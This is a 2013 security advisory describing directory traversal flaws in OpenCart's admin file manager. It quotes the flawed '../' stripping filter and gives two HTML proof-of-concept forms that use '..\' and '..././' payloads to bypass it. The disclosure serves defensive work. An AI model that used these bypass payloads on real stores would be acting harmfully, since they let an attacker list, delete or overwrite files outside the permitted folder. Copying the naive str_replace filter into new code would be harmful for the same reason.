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[waraxe-2013-SA#098] - Directory Traversal Vulnerabilities in OpenCart 1.5.5.1 =============================================================================== Author: Janek Vind "waraxe" Date: 19. March 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-98.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ OpenCart is a turn-key ready "out of the box" shopping cart solution. You simply install, select your template, add products and your ready to start accepting orders. http://www.opencart.com/ Affected are all OpenCart versions, from 1.4.7 to 1.5.5.1, maybe older too. ############################################################################### 1. Directory Traversal Vulnerabilities in "filemanager.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vectors: 1. user-supplied POST parameters "directory", "name", "path", "from", "to" Preconditions: 1. Logged in as admin with filemanager access privileges Script "filemanager.php" offers for OpenCart admins various file related services: directory listing and creation, image file listing, file copy/move/unlink, upload, image resize. By the design OpenCart admin can manage files and directories only inside specific subdirectory "image/data/". It means, that even if you have OpenCart admin privileges, you still are not suppose to get access to the files and directories below "image/data/". So far, so good. But what about directory traversal? Let's have a look at the source code. PHP script "admin/controller/common/filemanager.php" line 66: ------------------------[ source code start ]---------------------------------- public function directory() { $json = array(); if (isset($this->request->post['directory'])) { $directories = glob(rtrim(DIR_IMAGE . 'data/' . str_replace('../', '', $this->request->post['directory']), '/') . '/*', GLOB_ONLYDIR); if ($directories) { $i = 0; foreach ($directories as $directory) { $json[$i]['data'] = basename($directory); $json[$i]['attributes']['directory'] = utf8_substr($directory, strlen(DIR_IMAGE . 'data/')); ... $this->response->setOutput(json_encode($json)); ------------------------[ source code end ]------------------------------------ We can see, that directory traversal is prevented by removing "../" substrings from user submitted parameters. At first look this seems to be secure enough - if we can't use "../", then directory traversal is impossible, right? Deeper analysis shows couple of shortcomings in specific filtering method. First problem - if OpenCart is hosted on Windows platform, then it's possible to use "..\" substring for directory traversal. Test (parameter "token" must be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/oc1551/admin/index.php?route=common/filemanager/directory&token=92aa6ac32b4c8e7a175c3dc9f7754d25" method="post"> <input type="hidden" name="directory" value="..\..\..\"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Server response is in JSON format and contains listing of subdirectories outside of OpenCart main directory. Second problem - filtering with "str_replace" can be tricked by using custom strings. If we use "..././" substring, then after filtering in becomes "../". So it appears, that implemented anti-traversal code is ineffective and can be bypassed. Test (parameter "token" must be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/oc1551/admin/index.php?route=common/filemanager/directory&token=92aa6ac32b4c8e7a175c3dc9f7754d25" method="post"> <input type="hidden" name="directory" value="..././..././..././..././"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Server response is exactly same as in previous test - information about directory structure outside of OpenCart main directory has been disclosed. PHP script "filemanager.php" contains 14 uses of "str_replace('../', ''," code. Most of the public functions in "filemanager.php" are affected by directory traversal vulnerability: public function directory() -> listing of subdirectories public function files() -> listing of image files public function create() -> creation of new directories public function delete() -> deletion of arbitrary files and directories public function move() -> renaming of files or directories public function copy() -> copying of files or directories public function rename() -> renaming of files or directories public function upload() -> uploading of image or flash files Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum:http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ |
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